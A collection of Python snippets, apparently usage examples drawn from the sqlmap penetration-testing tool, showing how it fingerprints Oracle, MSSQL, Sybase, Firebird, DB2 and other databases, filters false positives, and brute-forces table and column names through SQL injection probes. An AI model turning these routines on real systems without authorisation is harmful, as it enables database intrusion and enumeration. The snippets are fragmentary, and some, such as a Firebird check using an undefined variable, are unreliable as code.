Example #1
0
    def checkDbms(self):
        if not conf.extensiveFp and Backend.isDbmsWithin(ORACLE_ALIASES):
            setDbms(DBMS.ORACLE)

            self.getBanner()

            return True

        infoMsg = "testing %s" % DBMS.ORACLE
        logger.info(infoMsg)

        # NOTE: SELECT LENGTH(SYSDATE)=LENGTH(SYSDATE) FROM DUAL does
        # not work connecting directly to the Oracle database
        if conf.direct:
            result = True
        else:
            result = inject.checkBooleanExpression("LENGTH(SYSDATE)=LENGTH(SYSDATE)")

        if result:
            infoMsg = "confirming %s" % DBMS.ORACLE
            logger.info(infoMsg)

            # NOTE: SELECT NVL(RAWTOHEX([RANDNUM1]),[RANDNUM1])=RAWTOHEX([RANDNUM1]) FROM DUAL does
            # not work connecting directly to the Oracle database
            if conf.direct:
                result = True
            else:
                result = inject.checkBooleanExpression("NVL(RAWTOHEX([RANDNUM1]),[RANDNUM1])=RAWTOHEX([RANDNUM1])")

            if not result:
                warnMsg = "the back-end DBMS is not %s" % DBMS.ORACLE
                logger.warn(warnMsg)

                return False

            setDbms(DBMS.ORACLE)

            self.getBanner()

            if not conf.extensiveFp:
                return True

            infoMsg = "actively fingerprinting %s" % DBMS.ORACLE
            logger.info(infoMsg)

            # Reference: https://en.wikipedia.org/wiki/Oracle_Database
            for version in ("12c", "11g", "10g", "9i", "8i"):
                number = int(re.search(r"([\d]+)", version).group(1))
                output = inject.checkBooleanExpression("%d=(SELECT SUBSTR((VERSION),1,%d) FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1)" % (number, 1 if number < 10 else 2))

                if output:
                    Backend.setVersion(version)
                    break

            return True
        else:
            warnMsg = "the back-end DBMS is not %s" % DBMS.ORACLE
            logger.warn(warnMsg)

            return False
Example #2
0
def heuristicCheckDbms(injection):
    retVal = None

    pushValue(kb.injection)
    kb.injection = injection
    randStr1, randStr2 = randomStr(), randomStr()

    for dbms in getPublicTypeMembers(DBMS, True):
        Backend.forceDbms(dbms)

        if checkBooleanExpression("(SELECT '%s'%s)='%s'" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), randStr1)):
            if not checkBooleanExpression(
                "(SELECT '%s'%s)='%s'" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), randStr2)
            ):
                retVal = dbms
                break

    Backend.flushForcedDbms()
    kb.injection = popValue()

    if retVal:
        infoMsg = (
            "heuristic (extended) test shows that the back-end DBMS "
        )  # not as important as "parsing" counter-part (because of false-positives)
        infoMsg += "could be '%s' " % retVal
        logger.info(infoMsg)

    return retVal
Example #3
0
    def checkDbms(self):
        if not conf.extensiveFp and (Backend.isDbmsWithin(SYBASE_ALIASES) \
           or (conf.dbms or "").lower() in SYBASE_ALIASES) and Backend.getVersion() and \
           Backend.getVersion().isdigit():
            setDbms("%s %s" % (DBMS.SYBASE, Backend.getVersion()))

            self.getBanner()

            Backend.setOs(OS.WINDOWS)

            return True

        infoMsg = "testing %s" % DBMS.SYBASE
        logger.info(infoMsg)

        if conf.direct:
            result = True
        else:
            result = inject.checkBooleanExpression("@@transtate=@@transtate")

        if result:
            infoMsg = "confirming %s" % DBMS.SYBASE
            logger.info(infoMsg)

            result = inject.checkBooleanExpression("suser_id()=suser_id()")

            if not result:
                warnMsg = "the back-end DBMS is not %s" % DBMS.SYBASE
                logger.warn(warnMsg)

                return False

            setDbms(DBMS.SYBASE)

            self.getBanner()

            if not conf.extensiveFp:
                return True

            infoMsg = "actively fingerprinting %s" % DBMS.SYBASE
            logger.info(infoMsg)

            result = unArrayizeValue(inject.getValue("SUBSTRING(@@VERSION,1,1)"))

            if result and result.isdigit():
                Backend.setVersion(str(result))
            else:
                for version in xrange(12, 16):
                    result = inject.checkBooleanExpression("PATINDEX('%%/%d[./]%%',@@VERSION)>0" % version)

                    if result:
                        Backend.setVersion(str(version))
                        break

            return True
        else:
            warnMsg = "the back-end DBMS is not %s" % DBMS.SYBASE
            logger.warn(warnMsg)

            return False
Example #4
0
def heuristicCheckDbms(injection):
    retVal = None

    if not Backend.getIdentifiedDbms() and len(injection.data) == 1 and PAYLOAD.TECHNIQUE.BOOLEAN in injection.data:
        pushValue(kb.injection)
        kb.injection = injection
        randStr1, randStr2 = randomStr(), randomStr()

        for dbms in getPublicTypeMembers(DBMS, True):
            Backend.forceDbms(dbms)

            if checkBooleanExpression("(SELECT '%s'%s)='%s'" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), randStr1)):
                if not checkBooleanExpression("(SELECT '%s'%s)='%s'" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), randStr2)):
                    retVal = dbms
                    break

        Backend.flushForcedDbms()
        kb.injection = popValue()

    if retVal:
        infoMsg = "heuristic test showed that the back-end DBMS "
        infoMsg += "could be '%s' " % retVal
        logger.info(infoMsg)

    return retVal
Example #5
0
    def checkDbms(self):
        if not conf.extensiveFp and (Backend.isDbmsWithin(MAXDB_ALIASES) or conf.dbms in MAXDB_ALIASES):
            setDbms(DBMS.MAXDB)

            self.getBanner()

            return True

        infoMsg = "testing %s" % DBMS.MAXDB
        logger.info(infoMsg)

        result = inject.checkBooleanExpression("ALPHA(NULL) IS NULL")

        if result:
            infoMsg = "confirming %s" % DBMS.MAXDB
            logger.info(infoMsg)

            result = inject.checkBooleanExpression("MAPCHAR(NULL,1,DEFAULTMAP) IS NULL")

            if not result:
                warnMsg = "the back-end DBMS is not %s" % DBMS.MAXDB
                logger.warn(warnMsg)

                return False

            setDbms(DBMS.MAXDB)

            self.getBanner()

            return True
        else:
            warnMsg = "the back-end DBMS is not %s" % DBMS.MAXDB
            logger.warn(warnMsg)

            return False
Example #6
0
    def __versionCheck(self):
        infoMsg = "executing %s SYSINFO version check" % DBMS.MAXDB
        logger.info(infoMsg)

        query = agent.prefixQuery("/* NoValue */")
        query = agent.suffixQuery(query)
        payload = agent.payload(newValue=query)
        result = Request.queryPage(payload)

        if not result:
            warnMsg = "unable to perform %s version check" % DBMS.MAXDB
            logger.warn(warnMsg)

            return None

        minor, major = None, None

        for version in (6, 7):
            result = inject.checkBooleanExpression("%d=(SELECT MAJORVERSION FROM SYSINFO.VERSION)" % version)

            if result:
                major = version

        for version in xrange(0, 10):
            result = inject.checkBooleanExpression("%d=(SELECT MINORVERSION FROM SYSINFO.VERSION)" % version)

            if result:
                minor = version

        if major and minor:
            return "%s.%s" % (major, minor)
        else:
            return None
Example #7
0
    def _versionCheck(self):
        minor, major = None, None

        for version in reversed(xrange(5, 15)):
            result = inject.checkBooleanExpression(
                "(SELECT COUNT(*) FROM sysibm.sysversions WHERE versionnumber BETWEEN %d000000 AND %d999999)>0"
                % (version, version))

            if result:
                major = version

                for version in reversed(xrange(0, 20)):
                    result = inject.checkBooleanExpression(
                        "(SELECT COUNT(*) FROM sysibm.sysversions WHERE versionnumber BETWEEN %d%02d0000 AND %d%02d9999)>0"
                        % (major, version, major, version))
                    if result:
                        minor = version
                        version = "%s.%s" % (major, minor)
                        break

                break

        if major and minor:
            return "%s.%s" % (major, minor)
        else:
            return None
Example #8
0
    def checkDbms(self):
        if not conf.extensiveFp and Backend.isDbmsWithin(H2_ALIASES):
            setDbms("%s %s" % (DBMS.H2, Backend.getVersion()))

            self.getBanner()

            return True

        infoMsg = "testing %s" % DBMS.H2
        logger.info(infoMsg)

        result = inject.checkBooleanExpression("ZERO() IS 0")

        if result:
            infoMsg = "confirming %s" % DBMS.H2
            logger.info(infoMsg)

            result = inject.checkBooleanExpression("ROUNDMAGIC(PI())>=3")

            if not result:
                warnMsg = "the back-end DBMS is not %s" % DBMS.H2
                logger.warn(warnMsg)

                return False
            else:
                setDbms(DBMS.H2)

                self.getBanner()

                return True
        else:
            warnMsg = "the back-end DBMS is not %s" % DBMS.H2
            logger.warn(warnMsg)

            return False
Example #9
0
    def checkDbms(self):
        if not conf.extensiveFp and (Backend.isDbmsWithin(ORACLE_ALIASES) or (conf.dbms or "").lower() in ORACLE_ALIASES):
            setDbms(DBMS.ORACLE)

            self.getBanner()

            return True

        infoMsg = "testing %s" % DBMS.ORACLE
        logger.info(infoMsg)

        # NOTE: SELECT ROWNUM=ROWNUM FROM DUAL does not work connecting
        # directly to the Oracle database
        if conf.direct:
            result = True
        else:
            result = inject.checkBooleanExpression("ROWNUM=ROWNUM")

        if result:
            infoMsg = "confirming %s" % DBMS.ORACLE
            logger.info(infoMsg)

            # NOTE: SELECT LENGTH(SYSDATE)=LENGTH(SYSDATE) FROM DUAL does
            # not work connecting directly to the Oracle database
            if conf.direct:
                result = True
            else:
                result = inject.checkBooleanExpression("LENGTH(SYSDATE)=LENGTH(SYSDATE)")

            if not result:
                warnMsg = "the back-end DBMS is not %s" % DBMS.ORACLE
                logger.warn(warnMsg)

                return False

            setDbms(DBMS.ORACLE)

            self.getBanner()

            if not conf.extensiveFp:
                return True

            infoMsg = "actively fingerprinting %s" % DBMS.ORACLE
            logger.info(infoMsg)

            for version in ("11i", "10g", "9i", "8i"):
                number = int(re.search("([\d]+)", version).group(1))
                output = inject.checkBooleanExpression("%d=(SELECT SUBSTR((VERSION),1,%d) FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1)" % (number, 1 if number < 10 else 2))

                if output:
                    Backend.setVersion(version)
                    break

            return True
        else:
            warnMsg = "the back-end DBMS is not %s" % DBMS.ORACLE
            logger.warn(warnMsg)

            return False
Example #10
0
    def checkDbmsOs(self, detailed=False):
        if Backend.getOs():
            return

        infoMsg = "fingerprinting the back-end DBMS operating system "
        infoMsg += "version and service pack"
        logger.info(infoMsg)

        query = "(SELECT LENGTH(OS_NAME) FROM SYSIBMADM.ENV_SYS_INFO WHERE OS_NAME LIKE '%WIN%')>0"
        result = inject.checkBooleanExpression(query)

        if not result:
            Backend.setOs(OS.LINUX)
        else:
            Backend.setOs(OS.WINDOWS)

        infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs()

        if result:
            versions = {
                "2003": ("5.2", (2, 1)),
                "2008": ("7.0", (1,)),
                "2000": ("5.0", (4, 3, 2, 1)),
                "7": ("6.1", (1, 0)),
                "XP": ("5.1", (2, 1)),
                "NT": ("4.0", (6, 5, 4, 3, 2, 1))
            }

            # Get back-end DBMS underlying operating system version
            for version, data in versions.items():
                query = "(SELECT LENGTH(OS_VERSION) FROM SYSIBMADM.ENV_SYS_INFO WHERE OS_VERSION = '%s')>0" % data[0]
                result = inject.checkBooleanExpression(query)

                if result:
                    Backend.setOsVersion(version)
                    infoMsg += " %s" % Backend.getOsVersion()
                    break

            if not Backend.getOsVersion():
                return

            # Get back-end DBMS underlying operating system service pack
            for sp in versions[Backend.getOsVersion()][1]:
                query = "(SELECT LENGTH(OS_RELEASE) FROM SYSIBMADM.ENV_SYS_INFO WHERE OS_RELEASE LIKE '%Service Pack " + str(sp) + "%')>0"
                result = inject.checkBooleanExpression(query)

                if result:
                    Backend.setOsServicePack(sp)
                    break

            if not Backend.getOsServicePack():
                Backend.setOsServicePack(0)
                debugMsg = "assuming the operating system has no service pack"
                logger.debug(debugMsg)

            if Backend.getOsVersion():
                infoMsg += " Service Pack %d" % Backend.getOsServicePack()

            logger.info(infoMsg)
Example #11
0
def checkFalsePositives(injection):
    """
    Checks for false positives (only in single special cases)
    """

    retVal = injection

    if len(injection.data) == 1 and any(map(lambda x: x in injection.data, [PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED]))\
      or len(injection.data) == 2 and all(map(lambda x: x in injection.data, [PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED])):
#      or len(injection.data) == 1 and 'Generic' in injection.data.values()[0].title and not Backend.getIdentifiedDbms():
        pushValue(kb.injection)

        infoMsg = "checking if the injection point on %s " % injection.place
        infoMsg += "parameter '%s' is a false positive" % injection.parameter
        logger.info(infoMsg)

        def _():
            return int(randomInt(2)) + 1

        kb.injection = injection

        # Simple arithmetic operations which should show basic
        # arithmetic ability of the backend if it's really injectable
        for i in xrange(1 + conf.level / 2):
            randInt1, randInt2, randInt3 = (_() for j in xrange(3))

            # Just in case (also, they have to be different than 0 because of the last test)
            while randInt1 == randInt2:
                randInt2 = _()

            if not checkBooleanExpression("(%d+%d)=%d" % (randInt1, randInt2, randInt1 + randInt2)):
                retVal = None
                break
            elif checkBooleanExpression("%d>(%d+%d)" % (min(randInt1, randInt2), randInt3, max(randInt1, randInt2))):
                retVal = None
                break
            elif checkBooleanExpression("(%d+%d)>%d" % (randInt3, min(randInt1, randInt2), randInt1 + randInt2 + randInt3)):
                retVal = None
                break
            elif not checkBooleanExpression("%d=(%d+%d)" % (randInt1 + randInt2, randInt1, randInt2)):
                retVal = None
                break

        if retVal is None:
            warnMsg = "false positive or unexploitable injection point detected"
            logger.warn(warnMsg)

            if PAYLOAD.TECHNIQUE.BOOLEAN in injection.data:
                if all(_.__name__ != "between" for _ in kb.tamperFunctions):
                    warnMsg = "there is a possibility that the character '>' is "
                    warnMsg += "filtered by the back-end server. You can try "
                    warnMsg += "to rerun with '--tamper=between'"
                    logger.warn(warnMsg)

        kb.injection = popValue()

    return retVal
    def checkDbms(self):
        if (
            not conf.extensiveFp
            and (Backend.isDbmsWithin(FIREBIRD_ALIASES) or conf.dbms in FIREBIRD_ALIASES)
            and Backend.getVersion()
            and Backend.getVersion() != UNKNOWN_DBMS_VERSION
        ):
            v = Backend.getVersion().replace(">", "")
            v = v.replace("=", "")
            v = v.replace(" ", "")

            Backend.setVersion(v)

            setDbms("%s %s" % (DBMS.FIREBIRD, Backend.getVersion()))

            self.getBanner()

            return True

        infoMsg = "testing %s" % DBMS.FIREBIRD
        logger.info(infoMsg)

        randInt = randomInt()
        result = inject.checkBooleanExpression("EXISTS(SELECT * FROM RDB$DATABASE WHERE %d=%d)" % (randInt, randInt))

        if result:
            infoMsg = "confirming %s" % DBMS.FIREBIRD
            logger.info(infoMsg)

            result = inject.checkBooleanExpression("EXISTS(SELECT CURRENT_USER FROM RDB$DATABASE)")

            if not result:
                warnMsg = "the back-end DBMS is not %s" % DBMS.FIREBIRD
                logger.warn(warnMsg)

                return False

            setDbms(DBMS.FIREBIRD)

            infoMsg = "actively fingerprinting %s" % DBMS.FIREBIRD
            logger.info(infoMsg)

            version = self._sysTablesCheck()

            if version is not None:
                Backend.setVersion(version)
                setDbms("%s %s" % (DBMS.FIREBIRD, version))

            self.getBanner()

            return True
        else:
            warnMsg = "the back-end DBMS is not %s" % DBMS.FIREBIRD
            logger.warn(warnMsg)

            return False
Example #13
0
    def checkDbms(self):
        if not conf.extensiveFp and (Backend.isDbmsWithin(SYBASE_ALIASES) \
           or conf.dbms in SYBASE_ALIASES) and Backend.getVersion() and \
           Backend.getVersion().isdigit():
            setDbms("%s %s" % (DBMS.SYBASE, Backend.getVersion()))

            self.getBanner()

            Backend.setOs(OS.WINDOWS)

            return True

        infoMsg = "testing %s" % DBMS.SYBASE
        logger.info(infoMsg)

        if conf.direct:
            result = True
        else:
            result = inject.checkBooleanExpression("tempdb_id()=tempdb_id()")

        if result:
            infoMsg = "confirming %s" % DBMS.SYBASE
            logger.info(infoMsg)

            result = inject.checkBooleanExpression("suser_id()=suser_id()")

            if not result:
                warnMsg = "the back-end DBMS is not %s" % DBMS.SYBASE
                logger.warn(warnMsg)

                return False

            setDbms(DBMS.SYBASE)

            self.getBanner()

            if not conf.extensiveFp:
                return True

            infoMsg = "actively fingerprinting %s" % DBMS.SYBASE
            logger.info(infoMsg)

            for version in xrange(12, 16):
                result = inject.checkBooleanExpression("@@VERSION_NUMBER/1000=%d" % version)

                if result:
                    Backend.setVersion(str(version))
                    break

            return True
        else:
            warnMsg = "the back-end DBMS is not %s" % DBMS.SYBASE
            logger.warn(warnMsg)

            return False
    def checkDbms(self):
        if (
            not conf.extensiveFp
            and (Backend.isDbmsWithin(MSSQL_ALIASES) or conf.dbms in MSSQL_ALIASES)
            and Backend.getVersion()
            and Backend.getVersion().isdigit()
        ):
            setDbms("%s %s" % (DBMS.MSSQL, Backend.getVersion()))

            self.getBanner()

            Backend.setOs(OS.WINDOWS)

            return True

        infoMsg = "testing %s" % DBMS.MSSQL
        logger.info(infoMsg)

        # NOTE: SELECT LEN(@@VERSION)=LEN(@@VERSION) FROM DUAL does not
        # work connecting directly to the Microsoft SQL Server database
        if conf.direct:
            result = True
        else:
            result = inject.checkBooleanExpression("SQUARE([RANDNUM])=SQUARE([RANDNUM])")

        if result:
            infoMsg = "confirming %s" % DBMS.MSSQL
            logger.info(infoMsg)

            for version, check in (
                ("2000", "HOST_NAME()=HOST_NAME()"),
                ("2005", "XACT_STATE()=XACT_STATE()"),
                ("2008", "SYSDATETIME()=SYSDATETIME()"),
                ("2012", "CONCAT(NULL,NULL)=CONCAT(NULL,NULL)"),
            ):
                result = inject.checkBooleanExpression(check)

                if result:
                    Backend.setVersion(version)

            if Backend.getVersion():
                setDbms("%s %s" % (DBMS.MSSQL, Backend.getVersion()))
            else:
                setDbms(DBMS.MSSQL)

            self.getBanner()

            Backend.setOs(OS.WINDOWS)

            return True
        else:
            warnMsg = "the back-end DBMS is not %s" % DBMS.MSSQL
            logger.warn(warnMsg)

            return False
Example #15
0
def checkFalsePositives(injection):
    """
    Checks for false positives (only in single special cases)
    """

    retVal = injection

    if (
        len(injection.data) == 1
        and any(
            map(
                lambda x: x in injection.data,
                [PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED],
            )
        )
        or len(injection.data) == 2
        and all(map(lambda x: x in injection.data, [PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED]))
        or len(injection.data) == 1
        and "Generic" in injection.data.values()[0].title
        and not Backend.getDbms()
    ):
        pushValue(kb.injection)

        infoMsg = "checking if the injection point on %s " % injection.place
        infoMsg += "parameter '%s' is a false positive" % injection.parameter
        logger.info(infoMsg)

        def _():
            return int(randomInt(2)) + 1

        kb.injection = injection
        randInt1, randInt2, randInt3 = (_() for i in xrange(3))

        # Just in case (also, they have to be different than 0 because of the last test)
        while randInt1 == randInt2:
            randInt2 = _()

        # Simple arithmetic operations which should show basic
        # arithmetic ability of the backend if it's really injectable
        if not checkBooleanExpression("(%d+%d)=%d" % (randInt1, randInt2, randInt1 + randInt2)):
            retVal = None
        elif checkBooleanExpression("%d>(%d+%d)" % (min(randInt1, randInt2), randInt3, max(randInt1, randInt2))):
            retVal = None
        elif checkBooleanExpression("(%d+%d)>%d" % (randInt3, min(randInt1, randInt2), randInt1 + randInt2 + randInt3)):
            retVal = None
        elif not checkBooleanExpression("%d=(%d+%d)" % (randInt1 + randInt2, randInt1, randInt2)):
            retVal = None

        if retVal is None:
            warnMsg = "false positive or unexploitable injection point detected"
            logger.warn(warnMsg)

        kb.injection = popValue()

    return retVal
Example #16
0
    def checkDbms(self):
        if not conf.extensiveFp and Backend.isDbmsWithin(INFORMIX_ALIASES):
            setDbms(DBMS.INFORMIX)

            self.getBanner()

            return True

        infoMsg = "testing %s" % DBMS.INFORMIX
        logger.info(infoMsg)

        result = inject.checkBooleanExpression("[RANDNUM]=(SELECT [RANDNUM] FROM SYSMASTER:SYSDUAL)")

        if result:
            infoMsg = "confirming %s" % DBMS.INFORMIX
            logger.info(infoMsg)

            result = inject.checkBooleanExpression("(SELECT DBINFO('DBNAME') FROM SYSMASTER:SYSDUAL) IS NOT NULL")

            if not result:
                warnMsg = "the back-end DBMS is not %s" % DBMS.INFORMIX
                logger.warn(warnMsg)

                return False

            # Determine if it is Informix >= 11.70
            if inject.checkBooleanExpression("CHR(32)=' '"):
                Backend.setVersion(">= 11.70")

            setDbms(DBMS.INFORMIX)

            self.getBanner()

            if not conf.extensiveFp:
                return True

            infoMsg = "actively fingerprinting %s" % DBMS.INFORMIX
            logger.info(infoMsg)

            for version in ("12.1", "11.7", "11.5"):
                output = inject.checkBooleanExpression("EXISTS(SELECT 1 FROM SYSMASTER:SYSDUAL WHERE DBINFO('VERSION,'FULL') LIKE '%%%s%%')" % version)

                if output:
                    Backend.setVersion(version)
                    break

            return True
        else:
            warnMsg = "the back-end DBMS is not %s" % DBMS.INFORMIX
            logger.warn(warnMsg)

            return False
Example #17
0
    def checkDbms(self):
        if not conf.extensiveFp and (Backend.isDbmsWithin(MSSQL_ALIASES) \
           or conf.dbms in MSSQL_ALIASES) and Backend.getVersion() and \
           Backend.getVersion().isdigit():
            setDbms("%s %s" % (DBMS.MSSQL, Backend.getVersion()))

            self.getBanner()

            Backend.setOs(OS.WINDOWS)

            return True

        infoMsg = "testing %s" % DBMS.MSSQL
        logger.info(infoMsg)

        # NOTE: SELECT LEN(@@VERSION)=LEN(@@VERSION) FROM DUAL does not
        # work connecting directly to the Microsoft SQL Server database
        if conf.direct:
            result = True
        else:
            randInt = randomInt()
            result = inject.checkBooleanExpression("BINARY_CHECKSUM(%d)=BINARY_CHECKSUM(%d)" % (randInt, randInt))

        if result:
            infoMsg = "confirming %s" % DBMS.MSSQL
            logger.info(infoMsg)

            for version, check in [ ("2000", "HOST_NAME()=HOST_NAME()"), \
                                    ("2005", "XACT_STATE()=XACT_STATE()"), \
                                    ("2008", "SYSDATETIME()=SYSDATETIME()") ]:
                result = inject.checkBooleanExpression(check)

                if result:
                    Backend.setVersion(version)

            if Backend.getVersion():
                setDbms("%s %s" % (DBMS.MSSQL, Backend.getVersion()))
            else:
                setDbms(DBMS.MSSQL)

            self.getBanner()

            Backend.setOs(OS.WINDOWS)

            return True
        else:
            warnMsg = "the back-end DBMS is not %s" % DBMS.MSSQL
            logger.warn(warnMsg)

            return False
Example #18
0
    def checkDbms(self):
        """
        References for fingerprint:

        * http://www.sqlite.org/lang_corefunc.html
        * http://www.sqlite.org/cvstrac/wiki?p=LoadableExtensions
        """

        if not conf.extensiveFp and (Backend.isDbmsWithin(SQLITE_ALIASES) or (conf.dbms or "").lower() in SQLITE_ALIASES):
            setDbms(DBMS.SQLITE)

            self.getBanner()

            return True

        infoMsg = "testing %s" % DBMS.SQLITE
        logger.info(infoMsg)

        result = inject.checkBooleanExpression("LAST_INSERT_ROWID()=LAST_INSERT_ROWID()")

        if result:
            infoMsg = "confirming %s" % DBMS.SQLITE
            logger.info(infoMsg)

            result = inject.checkBooleanExpression("SQLITE_VERSION()=SQLITE_VERSION()")

            if not result:
                warnMsg = "the back-end DBMS is not %s" % DBMS.SQLITE
                logger.warn(warnMsg)

                return False
            else:
                infoMsg = "actively fingerprinting %s" % DBMS.SQLITE
                logger.info(infoMsg)

                result = inject.checkBooleanExpression("RANDOMBLOB(-1)>0")
                version = '3' if result else '2'
                Backend.setVersion(version)

            setDbms(DBMS.SQLITE)

            self.getBanner()

            return True
        else:
            warnMsg = "the back-end DBMS is not %s" % DBMS.SQLITE
            logger.warn(warnMsg)

            return False
Example #19
0
    def checkDbms(self):
        if not conf.extensiveFp and (Backend.isDbmsWithin(FIREBIRD_ALIASES) \
           or (conf.dbms or "").lower() in FIREBIRD_ALIASES) and Backend.getVersion() and \
           Backend.getVersion() != UNKNOWN_DBMS_VERSION:
            Backend.setVersion(v)

            setDbms("%s %s" % (DBMS.FIREBIRD, Backend.getVersion()))

            self.getBanner()

            return True

        infoMsg = "testing %s" % DBMS.FIREBIRD
        logger.info(infoMsg)

        result = inject.checkBooleanExpression("(SELECT COUNT(*) FROM RDB$DATABASE WHERE [RANDNUM]=[RANDNUM])>0")

        if result:
            infoMsg = "confirming %s" % DBMS.FIREBIRD
            logger.info(infoMsg)

            result = inject.checkBooleanExpression("EXISTS(SELECT CURRENT_USER FROM RDB$DATABASE)")

            if not result:
                warnMsg = "the back-end DBMS is not %s" % DBMS.FIREBIRD
                logger.warn(warnMsg)

                return False

            setDbms(DBMS.FIREBIRD)

            infoMsg = "actively fingerprinting %s" % DBMS.FIREBIRD
            logger.info(infoMsg)

            version = self._sysTablesCheck()

            if version is not None:
                Backend.setVersion(version)
                setDbms("%s %s" % (DBMS.FIREBIRD, version))

            self.getBanner()

            return True
        else:
            warnMsg = "the back-end DBMS is not %s" % DBMS.FIREBIRD
            logger.warn(warnMsg)

            return False
Example #20
0
    def columnExistsThread():
        threadData = getCurrentThreadData()

        while kb.threadContinue:
            kb.locks.count.acquire()
            if threadData.shared.count < threadData.shared.limit:
                column = safeSQLIdentificatorNaming(columns[threadData.shared.count])
                threadData.shared.count += 1
                kb.locks.count.release()
            else:
                kb.locks.count.release()
                break

            result = inject.checkBooleanExpression(safeStringFormat(BRUTE_COLUMN_EXISTS_TEMPLATE, (column, table)))

            kb.locks.io.acquire()

            if result:
                threadData.shared.value.append(column)

                if conf.verbose in (1, 2) and not conf.api:
                    clearConsoleLine(True)
                    infoMsg = "[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), unsafeSQLIdentificatorNaming(column))
                    dataToStdout(infoMsg, True)

            if conf.verbose in (1, 2):
                status = "%d/%d items (%d%%)" % (threadData.shared.count, threadData.shared.limit, round(100.0 * threadData.shared.count / threadData.shared.limit))
                dataToStdout("\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True)

            kb.locks.io.release()
Example #21
0
    def tableExistsThread():
        while count[0] < length and kb.threadContinue:
            tbllock.acquire()
            table = safeSQLIdentificatorNaming(tables[count[0]])
            count[0] += 1
            tbllock.release()

            if conf.db and not conf.db.endswith(METADB_SUFFIX):
                fullTableName = "%s%s%s" % (conf.db, '..' if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) else '.', table)
            else:
                fullTableName = table

            result = inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %d FROM %s)", (randomInt(1), fullTableName)))

            iolock.acquire()

            if result and table.lower() not in items:
                retVal.append(table)

                items.add(table.lower())

                dataToSessionFile("[%s][%s][%s][TABLE_EXISTS][%s]\n" % (conf.url,\
                  kb.injection.place, safeFormatString(conf.parameters[kb.injection.place]),\
                  safeFormatString(fullTableName)))

                if conf.verbose in (1, 2):
                    clearConsoleLine(True)
                    infoMsg = "\r[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), table)
                    dataToStdout(infoMsg, True)

            if conf.verbose in (1, 2):
                status = '%d/%d items (%d%s)' % (count[0], length, round(100.0*count[0]/length), '%')
                dataToStdout("\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True)

            iolock.release()
Example #22
0
    def checkDbms(self):
        if not conf.extensiveFp and Backend.isDbmsWithin(DB2_ALIASES):
            setDbms(DBMS.DB2)

            return True

        logMsg = "testing %s" % DBMS.DB2
        logger.info(logMsg)

        result = inject.checkBooleanExpression("[RANDNUM]=(SELECT [RANDNUM] FROM SYSIBM.SYSDUMMY1)")

        if result:
            logMsg = "confirming %s" % DBMS.DB2
            logger.info(logMsg)

            version = self._versionCheck()

            if version:
                Backend.setVersion(version)
                setDbms("%s %s" % (DBMS.DB2, Backend.getVersion()))

            return True
        else:
            warnMsg = "the back-end DBMS is not %s" % DBMS.DB2
            logger.warn(warnMsg)

            return False
Example #23
0
    def _sysTablesCheck(self):
        retVal = None
        table = (
                    ("1.0", ("EXISTS(SELECT CURRENT_USER FROM RDB$DATABASE)",)),
                    ("1.5", ("NULLIF(%d,%d) IS NULL", "EXISTS(SELECT CURRENT_TRANSACTION FROM RDB$DATABASE)")),
                    ("2.0", ("EXISTS(SELECT CURRENT_TIME(0) FROM RDB$DATABASE)", "BIT_LENGTH(%d)>0", "CHAR_LENGTH(%d)>0")),
                    ("2.1", ("BIN_XOR(%d,%d)=0", "PI()>0.%d", "RAND()<1.%d", "FLOOR(1.%d)>=0")),
                    # TODO: add test for Firebird 2.5
                 )

        for i in xrange(len(table)):
            version, checks = table[i]
            failed = False
            check = checks[randomRange(0, len(checks) - 1)].replace("%d", getUnicode(randomRange(1, 100)))
            result = inject.checkBooleanExpression(check)

            if result:
                retVal = version
            else:
                failed = True
                break

            if failed:
                break

        return retVal
Example #24
0
    def checkDbmsOs(self, detailed=False):
        if Backend.getOs():
            return

        infoMsg = "fingerprinting the back-end DBMS operating system"
        logger.info(infoMsg)

        self.createSupportTbl(self.fileTblName, self.tblField, "character(10000)")
        inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "VERSION()"))

        # Windows executables should always have ' Visual C++' or ' mingw'
        # patterns within the banner
        osWindows = (" Visual C++", "mingw")

        for osPattern in osWindows:
            query = "(SELECT LENGTH(%s) FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField)
            query += "LIKE '%" + osPattern + "%')>0"

            if inject.checkBooleanExpression(query):
                Backend.setOs(OS.WINDOWS)

                break

        if Backend.getOs() is None:
            Backend.setOs(OS.LINUX)

        infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs()
        logger.info(infoMsg)

        self.cleanup(onlyFileTbl=True)
Example #25
0
    def _dialectCheck(self):
        retVal = None

        if Backend.getIdentifiedDbms():
            result = inject.checkBooleanExpression("EXISTS(SELECT CURRENT_DATE FROM RDB$DATABASE)")
            retVal = "dialect 3" if result else "dialect 1"

        return retVal
Example #26
0
    def _getDatabaseDir(self):
        retVal = None

        infoMsg = "searching for database directory"
        logger.info(infoMsg)

        randStr = randomStr()
        inject.checkBooleanExpression("EXISTS(SELECT * FROM %s.%s WHERE [RANDNUM]=[RANDNUM])" % (randStr, randStr))

        if wasLastResponseDBMSError():
            threadData = getCurrentThreadData()
            match = re.search("Could not find file\s+'([^']+?)'", threadData.lastErrorPage[1])

            if match:
                retVal = match.group(1).rstrip("%s.mdb" % randStr)

                if retVal.endswith('\\'):
                    retVal = retVal[:-1]

        return retVal
Example #27
0
    def checkDbms(self):
        if not conf.extensiveFp and (Backend.isDbmsWithin(ACCESS_ALIASES) or (conf.dbms or "").lower() in ACCESS_ALIASES):
